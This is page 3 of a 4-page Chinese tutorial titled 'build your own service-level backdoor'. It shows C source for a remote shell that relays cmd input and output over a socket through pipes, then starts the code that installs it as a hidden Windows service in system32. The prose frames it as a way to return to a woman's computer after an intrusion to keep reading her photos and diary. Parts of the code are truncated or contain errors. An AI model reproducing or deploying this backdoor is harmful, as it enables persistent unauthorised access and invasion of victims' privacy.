学院首页>安全防御>病毒防治>服务级后门自己做

服务级后门自己做

作者: 来源: 添加时间:2006-5-23 8:34:38
//开cmd进程
  if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
  {
printf ("CreateProcess Error!n");
return -1;
  }

while (true)
{
  ClientSocket = accept(ServerSocket, NULL, NULL);
  Sleep(250);
}

return 0;
}

//线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
  &hWriteFile,
  &pipeattr,
  0);

varA = 1;
while(true)
{
  Sleep(250);
  nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
  printf("%sn", recv_buff);
  WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}

//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadFile,
  &hWritePipe,
  &pipeattr,
  0);

varB = 1;
while (true)

return 0;
}

  在我们成功入侵目标MM主机后,看了MM的照片,读了MM的日记……此处省略恶行30条。在拍屁股走人之前,怎么也要留个后门,方便下次继续看新的照片,继续读MM的小秘密(呵呵,大家不要误会,我从来不干这种事D)。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实很简单,示例代码如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL,  //服务控制管理器句柄
hService = NULL;  //服务句柄
char szSysPath[MAX_PATH]=,
szExePath[MAX_PATH]=;//我们要把我们后台执行的程序放在这里,一般就是在admin$system32里,隐蔽性高

if ((hSCManager = OpenSCManager(NULL,  //NULL表明是本地主机
NULL, // 要打开的服务控制管理数据库,默认为空
SC_MANAGER_CREATE_SERVICE//创建权限
))==NULL)
{
  pirntf("OpenSCManager failedn");
  return;
}

GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
strcpy(szExePath, szSysPath);
strcat(szExePath, "scuhkr.exe");  //应用程序绝对路径
第 3 页,共 4 页 [1] [2] [3] [4]
站内搜索